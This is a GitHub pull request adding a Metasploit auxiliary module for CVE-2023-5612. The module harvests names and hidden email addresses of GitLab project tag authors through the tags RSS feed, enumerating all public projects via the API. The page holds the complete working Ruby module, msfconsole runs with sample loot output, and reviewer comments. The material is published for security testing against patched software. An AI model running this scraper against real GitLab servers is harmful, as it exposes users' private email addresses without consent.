Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

module for gitlab public email disclosure CVE-2023-5612 #18821

Merged
merged 7 commits into from
Mar 6, 2024
Merged
Show file tree
Hide file tree
Changes from 5 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
## Vulnerable Application

Information disclosure affecting all versions of GitLab
before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1
by sending a GET request to the project URI and appending "-/tags"

### Docker installation instructions can be found here:

https://docs.gitlab.com/ee/install/docker.html

Once installed, create a project. Once the project is
created, add a new tag by expanding the Code menu item
on the left, then selecting Tags. Then click on the
New Tag button in the top right corner.

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use [module path]`
1. Do: `set RHOSTS [IP]`
1. Do: `run`
1. You should receive output with user names and email addresses assocaited with project tags

## Options

### TARGETPROJECT

This will gather information for ALL PUBLICLY ACCESSIBLE PROJECTS. IF you know the specific project you would
like to target, you would need to set that here.

## Scenarios
### Scrape all Workspaces/Projects
```
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run
[*] Running module against 127.0.0.1

[+] [2024.02.09-11:18:23] Scraping ALL projects...
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project1
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__010524.xml
[+] [2024.02.09-11:18:23] name: john doe
[+] [2024.02.09-11:18:23] e-mail: [email protected]
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project2
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__822263.xml
[+] [2024.02.09-11:18:23] name: janedoe
[+] [2024.02.09-11:18:23] e-mail: [email protected]
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws2/proj1
[-] [2024.02.09-11:18:23] No tags or authors found
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj1
[-] [2024.02.09-11:18:23] No tags or authors found
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj2
[-] [2024.02.09-11:18:23] No tags or authors found
[*] Auxiliary module execution completed
```
### Specify Project
```
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set TARGETPROJECT Workspace1/Project1
TARGETPROJECT => Workspace1/Project1
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run
[*] Running module against 127.0.0.1

[*] [2024.02.09-11:44:43] Check RSS tags feed for: Workspace1/Project1
[+] [2024.02.09-11:44:43] Output saved to /root/.msf4/loot/20240209114443_default_127.0.0.1_gitlab.RSS.info__390983.xml
[+] [2024.02.09-11:44:43] name: janedoe
[+] [2024.02.09-11:44:43] e-mail: [email protected]
[*] Auxiliary module execution completed
```
126 changes: 126 additions & 0 deletions modules/auxiliary/gather/gitlab_tags_rss_feed_email_disclosure.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,126 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLab Tags RSS feed email disclosure',
'Description' => %q{
An issue has been discovered in GitLab affecting all versions
before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1.
It is possible to read the user email address via tags feed
although the visibility in the user profile has been disabled.
},
'License' => MSF_LICENSE,
'Author' => [
'n00bhaxor', # msf module
'erruquill' # HackerOne Bug Bounty, analysis
],
'References' => [
[ 'URL', 'https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/' ],
[ 'URL', 'https://hackerone.com/reports/2208790'],
[ 'CVE', '2023-5612']
],
'DisclosureDate' => '2024-01-25',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of the GitLab Application', '/']),
OptString.new('TARGETPROJECT', [ false, 'Workspace and project to target', nil])
]
)
end

def get_contents(tags)
vprint_status('Check RSS tags feed for: ' + tags)

# Tag needs to be lower case, so...
tags = "#{tags.split('/')[0]}/#{tags.split('/')[1].downcase}"
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved

res = send_request_cgi(
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We should check to ensure res does not get returned as nil

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?

'uri' => normalize_uri(target_uri.path, tags, '-', 'tags'),
'method' => 'GET', 'vars_get' => { 'format' => 'atom' }
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

add a newline after the comma to make this easier to read

)

fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?

if res.code == 200
xml_res = res.get_xml_document

# If we receive a 301 it's probably an issue with workspace case-insensitivty
elsif res.code == 301 && res['location']
new_uri = URI.parse(res['location']).path
res = send_request_cgi(
'uri' => normalize_uri(new_uri.to_s),
'method' => 'GET', 'vars_get' => { 'format' => 'atom' }
)
xml_res = res.get_xml_document

# Error out with an unreachable or any other error code
else
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Project does not exist or is not public (response code: #{res.code})")
end

# Check to see if there are any tags with authors
author_element = 'author'
not_found = xml_res.xpath("//xmlns:#{author_element}").empty?
if not_found
vprint_bad('No tags or authors found')
return
end

# Initialze an empty set so we can dedupe authors based on email address
# This only dedupes within a project, not the entirety of Gitlab,
# so forks of projects may show duplicate email addresses.
unique_emails = Set.new

xml_res.xpath('//xmlns:author').each do |authors|
email = authors.at_xpath('xmlns:email').text
next if unique_emails.include?(email)

name = authors.at_xpath('xmlns:name').text
print_good("name: #{name}")
print_good("e-mail: #{email}")
unique_emails << email
end
end

def run
unless datastore['TARGETPROJECT'].nil?
get_contents(datastore['TARGETPROJECT'].to_s)
return
end

print_good('Scraping ALL projects...')
request = {
'uri' => normalize_uri(target_uri.path, '/api/v4/projects'),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do you know if older vulnerable versions will respond to /api/v4 ?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks like v4 has been around since 2018: https://gitlab.com/gitlab-org/gitlab/-/commit/e1b25b0fedb5e0a72063e14feff0bde1c93447d7

I'm skeptical that this vuln would even work on something that old due to other urls or url formats changing

'method' => 'GET', 'vars_get' => {
'output_mode' => 'json'
}
}

res = send_request_cgi(request)

fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Project list API endpoint unavailable (response code: #{res.code})") unless res.code == 200

res.get_json_document.each do |entry|
tags = entry['path_with_namespace']
get_contents(tags)
end
end
end
Loading